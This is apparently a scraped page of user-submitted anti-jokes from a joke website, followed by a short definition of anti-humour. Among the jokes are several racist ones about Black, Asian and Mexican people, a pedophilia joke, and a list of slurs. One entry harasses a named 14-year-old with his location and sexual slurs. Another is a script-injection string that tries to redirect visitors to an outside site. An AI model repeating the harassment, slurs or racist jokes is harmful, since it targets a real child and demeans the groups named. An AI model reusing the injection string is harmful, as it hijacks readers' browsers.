Yo mama's so fat that when she goes into a clothing store, she often feels self-conscious about having to buy larger than average clothing sizes than most people.

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Why was the little boy afraid of the dentist because he was a pedophile

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Why arent guys and girls the same? Cause there different

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this isn't meant to be a joke, but just letting all of you know, inside jokes don't count and kony jokes aren't funny

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What does a black kid get for Christmas? Your bike

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Knock. Knock. Who's there? Banana. Banana who? Are you mentally handicapped? Bananas are fruit.

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Don't you just hate it when a sentence doesn't end the way you octopus?

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outside your comfort zone

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Everytime someone says Jamie on this website, he's referring to Dylan, cause he's to insecure to write jokes about anyone else. Please direct all jokes at Dylan Hodge, 14 years of age, living in Queensland, Australia, come to his house to watch the f a g man, suck his mothers p e n i s.

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Why did Lucy fall off the swing set? Because she died. Knock knock. Who's there? Not Lucy.

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What does a weasel and a naked college girl have in common? No clothes

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12 in general

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Who created Apple? Steve jobs.

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A man walks inta pet store looking for a dog. All he finds are cats.What did he end up buying. A weasel

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rose's are red violets are blue I have touretts blblblblblblblblbbl

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Aids, Black People, Cancer, Death, Retarded, Drunk, Sex, Black People, Holocaust, Blackies, White People, BLACK

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"'>document.location.href="http://cramik.org"

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"Knock Knock" "Who's There" "It's Dallas" "Dallas Who" James and Dallas's relashonship quickly deteriorated as Dallas realized he and James been best friends for 2 years and James doesn't even know his name.

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A working black man, Santa, and the Easter Bunny where walking down the street and find a penny, who picks it up? The working black man, Santa and the Easter Bunny take no payment for their work.

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A black guy and a Mexican are in a car, who is driving? They take turns due to the fact it is a long trip.

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Roses are red , Violets are blue You little dumb ass bitch Ain't fuckin' with yoouuuuuu

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an islamic man with a strange bag walk into thr airport. he is probably heading toward his flight like any other person.

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Why did the asain fail his tests? They weren't math tests...

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What's the difference between 10 dead baby's and a Ferrari? I don't have a Ferrari in my garage

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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